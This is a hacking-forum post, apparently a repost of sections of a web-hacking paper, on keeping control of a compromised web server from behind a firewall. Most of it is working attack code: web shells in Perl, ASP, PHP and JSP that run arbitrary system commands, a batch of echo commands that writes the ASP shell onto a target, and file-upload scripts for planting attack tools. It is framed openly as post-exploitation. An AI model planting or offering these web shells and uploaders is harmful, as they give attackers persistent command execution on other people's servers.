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 Web Hack ( part 4+5 )

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Mesaj Sayısı : 20
Kayıt tarihi : 02/08/09
Yaş : 29
Nerden : SyRiA

MesajKonu: Web Hack ( part 4+5 )   Çarş. Ağus. 26 2009, 17:45

4.0 Web based command prompt
After achieving remote command execution, we need to be able to interactively run commands on the target web server. Common ways of doing this would be to either spawn a shell and bind it to a TCP port on the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a remote X display [2]. However, given a tight firewall which allows only HTTP requests as incoming traffic and HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of "web based command prompts" to get around these restrictions.

A web based command prompt provides the functionality of a semi-interactive shell terminal, via an HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre-formatted text.

The reason why web based command prompts are semi-interactive is because they do not save the state of the terminal, such as the current working directory, system environment, etc. These can be implemented by session based HTML forms, however, that is beyond the scope of this paper.

Commands executed by such web based command prompts assume the privileges of the web server process. Typically, for Unix systems running Apache, the uid is "nobody", whereas for Windows systems running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename"

Given below are four examples of a web based command prompt:


4.0.1 Perl - perl_shell.cgi
The following script using Perl and cgi-lib.pl provides a semi-interactive web based command prompt.

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;
print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";
print "<INPUT NAME=cmd TYPE=TEXT>\n";
print "<INPUT TYPE=SUBMIT VALUE=Run>\n";
print "</FORM>\n";

&ReadParse(*in);

if($in{'cmd'} ne "") {
print "<PRE>\n$in{'cmd'}\n\n";
print `/bin/bash -c "$in{'cmd'}"`;
print "</PRE>\n";
}




4.0.2 ASP - cmdasp.asp
The following ASP script is a web based command prompt for Windows servers running IIS. cmdasp.asp is a modified version of the original script written by Maceo - maceo(at)dogmile.com

<%
Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</PRE>



The advantage of this script over other ASP based command prompt scripts is the fact that no COM components are required to be registered for executing shell commands. No administrator privileges are required either.


4.0.3 PHP - sys.php
Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in PHP:

<FORM ACTION="sys.php" METHOD=POST>
Command: <INPUT TYPE=TEXT NAME=cmd>
<INPUT TYPE=SUBMIT VALUE="Run">
<FORM>
<PRE>
<?php
if(isset($cmd)) {
system($cmd);
}
?>
<PRE>




4.0.4 JSP - cmdexec.jsp
The following JSP code is a web based command prompt for J2EE application servers supporting Java Server Pages.

<FORM METHOD=GET ACTION='cmdexec.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>

<pre>
<%=output %>
</pre>

(Thanks to Shreeraj Shah for cmdexec.jsp)

Any web application programming language, which allows native OS commands to be run, can be used to create a web based command prompt.


4.1 Installing the Web based command prompt
Using remote command execution, we can run commands such as "echo" and redirect the output into a file. Using multiple "echo" commands, we can create a file, one line at a time, on the remote web server. The only pre-requisite here is that we need a writeable directory on the target web server.


4.1.1 create_cmdasp.bat
The following is a set of commands that can be executed on a Windows DOS prompt to recreate the file cmdasp.asp as shown in section 4.0.2:

echo ^<^% > cmdasp.asp
echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp
echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp
echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")
>> cmdasp.asp
echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp
echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp
echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp
echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)
>> cmdasp.asp
echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>
>> cmdasp.asp
echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp
echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp
echo ^</FORM^> >> cmdasp.asp
echo ^<PRE^> >> cmdasp.asp
echo ^<^% >> cmdasp.asp
echo If (IsObject(oFile)) Then >> cmdasp.asp
echo On Error Resume Next >> cmdasp.asp
echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp
echo oFile.Close >> cmdasp.asp
echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp
echo End If >> cmdasp.asp
echo ^%^> >> cmdasp.asp
echo ^<^/PRE^> >> cmdasp.asp

The above commands can be run through a script such as post_cmd.pl to create the file "cmdasp.asp" on the target web server. In the same manner, any arbitrary text file can be re-created on the server, using commands such as "echo". Shell meta-characters such as &, ", <, >, |, %, etc. should be properly escaped with the appropriate escape character. On most Unix shells, the escape character is "\", and on the Windows command shell, the escape character is "^". (Thanks to Brian Lewis for pointing this out to me!)

Other web based command prompts can be re-created on target web servers in the same manner.


4.1.2 Re-creating arbitrary binary files
On shells like the Unix Bourne shell, it is possible to use the "echo" command to write arbitrary characters to a file, using the "\xHH" format, where HH stands for a two digit hexadecimal value. A binary file can be represented by a string of two digit hexadecimal numbers such as:

echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file

It is also possible to re-create arbitrary binary files on Windows, even though CMD.EXE cannot write arbitrary characters. The trick lies in using DEBUG.EXE in scripted or non-interactive mode to create arbitrary binary files.


5.0 File uploader
In addition to being able to run commands on the target web server, an attacker would also be interested in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader. The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option, though.

It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get sent to the server in an HTTP POST request. On the server, an upload script receives these contents and saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope of this document.

To perform file uploads, we would require a directory where the web server process (nobody, IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files.

Given below are three examples of such upload scripts:


5.0.1 ASP - upload.asp and upload.inc
The following two files contain code to receive HTTP POST Multipart-MIME data and save it to a file. ASP does not contain built-in routines to decode Multipart-MIME encoded data, hence a supplementary file upload.inc containing the appropriate routines is required.

upload.asp


<form method=post ENCTYPE="multipart/form-data">
<input type=file name="File1">
<input type="submit" Name="Action" value="Upload">
</form>
<hr>
<!--#INCLUDE FILE="upload.inc"-->
<%
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Set Fields = GetUpload()
If Fields("File1").FileName <> "" Then
Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName
Response.Write("<LI>Upload: " & Fields("File1").FileName)
End If
End If
%>

The source code of the associated file upload.inc can be found here




5.0.2 Perl - upload.cgi
Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how:

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n";
print "File path: <input type=file name=upfile>\n";
print "<input type=submit value=upload></form>\n";
&ReadParse;




5.0.3 PHP - upload.php
Creating an uploader with PHP is just as simple.

<FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST>
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000">
<input type="File" name="userfile" size="30">
<INPUT TYPE="submit" VALUE="upload">
</FORM>

<?php
if($userfile_name != "") {
copy("$userfile", "./$userfile_name") or die("Couldnt copy file");
echo "File name: $userfile_name<br>\n";
echo "File size: $userfile_size bytes<br>\n";
echo "File type: $userfile_type<br>\n";
}
?>



Once we have both command execution and file upload facilities over HTTP, we can do pretty much whatever we please with the target web server. It would be possible to:

discover source code and configuration files on the web server,
discover the internal network (if any) that the target web server lies on,
upload attack tools on the web server and execute them,
... and much more
An obvious next step is to attempt to escalate privileges, since we are bound by the privileges extended to us by the web server process. The next section discusses just that.


Created By : *-..-* DaRk EvIl *-..-*
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